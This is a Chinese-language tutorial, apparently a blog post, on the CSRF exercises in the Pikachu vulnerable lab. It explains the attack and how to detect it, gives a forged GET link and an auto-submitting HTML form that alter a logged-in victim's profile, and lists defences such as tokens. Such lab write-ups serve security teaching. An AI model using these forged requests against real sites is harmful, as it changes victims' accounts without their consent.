Pikachu漏洞靶场系列之CSRF


概述

CSRF 是 Cross Site Request Forgery 的 简称,中文名为跨域请求伪造,在CSRF的攻击场景中,攻击者会伪造一个请求(一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,这个攻击也就完成了、所以CSRF攻击也被称为“one click”攻击。

CSRF攻击需要条件

1、目标网站没有对修改个人信息修改的请求进行防CSRF处理,导致该请求容易被伪造

因此,判断一个网站有没有CSRF漏洞,其实就是判断对关键信息(密码等)的操作(增删改)是否容易被伪造

2、lucy点击伪造的请求链接时有登录状态(已经登陆了目标网站),如果lucy没有登录,那么即便lucy点击了链接也没有作用

从CSRF的利用条件来看,CSRF的利用难度会大一些,所以CSRF对应的安全级别低一些

CSRF和XSS的区别

CSRF是借助用户的权限完成攻击,攻击者并没有拿到用户的权限。目标构造修改个人信息的链接,利用lucy在登录状态下点击此链接达到修改信息的目的。

XSS直接盗取了用户的权限,然后实施破坏。攻击者利用XSS盗取了目标的Cookie,登录lucy的后台,再修改相关信息

检测是否存在CSRF漏洞

对目标站点增删改查的地方进行标记,并观察逻辑,判断请求是否可以伪造。

比如修改管理员账号时,不需要验证旧密码,比如修改敏感信息不需要token验证

确认凭证的有效期,虽然退出或关闭了览器,但Cookie仍然有效,或者Session没有及时过期,导致CSRF攻击变得简单

一、CSRF(get)

我们看一下Pikachu平台中CSRF(get)这个场景的使用,我们登录一下,账号有vince/allen/kobe/grady/kevin/lucy/lili,密码全部是123456

登录成功后可以来到个人中心,可以在这修改个人信息
在这里插入图片描述我们尝试修改一下个人信息并提交,同时利用BurpSuite抓包查看修改个人信息的请求内容
在这里插入图片描述
从提交的请求来看,后台没做CSRF token,同时也是通过GET请求来提交修改信息,我们拿到这个,修改一下,然后让lucy点击就好,我们构造的URL中把地址add改为hacker。l

 http://yunche.com/vul/csrf/csrfget/csrf_get_edit.php?sex=admin&phonenum=10086&add=hacker&email=12345678%40.com&submit=submit

用户一点击就修改了地址

在这里插入图片描述 GET请求修改个人信息,所有的参数都在URL中体现,这种方式使比较好利用的,我们只要能够伪造出来这个链接,把对应的参数内容修改成为我们需要的值,让带有登录态的用户去点击就完成了我们的攻击。

二、CSRF(post)

如果是POST型的,所有参数在请求体中提交,我们不能通过伪造URL的方式进行攻击
在这里插入图片描述 这里的攻击方式跟XSS中POST类型是一样的,攻击者可以搭建一个站点,在站点上做一个表单,诱导lucy点击这个链接,当用户点击时,就会自动向存在CSRF的服务器提交POST请求修改个人信息 编写一个post.html页面,代码如下所示,把此页面放到 pikachu/var/www/html/pikachu/doge_csrf

 <html>
<head>
<script>
window.onload = function() {
  document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.171.133/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
    <input id="sex" type="text" name="sex" value="girl" />
    <input id="phonenum" type="text" name="phonenum" value="12345678922" />
    <input id="add" type="text" name="add" value="hacker" />
    <input id="email" type="text" name="email" value="lucy@pikachu.com" />
    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

下面把页面的URL发送给受害者,只要受害者一点击这个链接,就会自动往服务器发送POST请求,修改地址信息

http://yunche.com/vul/csrf/csrfpost/post.html

CSRF(token)

CSRF的主要问题是敏感操作容易被伪造,我们可以加入Token让请求不容易被伪造

每次请求,都增加一个随机码(需要够随机,不容易被伪造),后台每次对这个随机码进行验证

我们进入Pikachu平台的CSRF(token)页面并登录,我们可以看一下这个GET请求

在这里插入图片描述跟前面比较,这里多了一个Token,如果后台对提交的Token进行了验证,由于Token是随机的,我们就无法伪造URL了

防护措施

增加Token验证(常用做法)
    对关键操作增加Token参数,token必须随机,每次都不一样
关于安全的会话管理(避免会话被利用)
    不要在客户端保存敏感信息(比如身份验证信息)
    退出、关闭浏览器时的会话过期机制
    设置会话过机制,比如15分钟无操作,则自动登录超时
访问控制安全管理
    敏感信息的修改时需要身份进行二次认证,比如修改账号密码,需要判断旧密码
    敏感信息的修改使用POST,而不是GET
    通过HTTP头部中的REFERER来限制原页面
增加验证码
    一般在登录(防暴力破解),也可以用在其他重要信息操作的表单中(需要考虑可用性)
  • 0
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值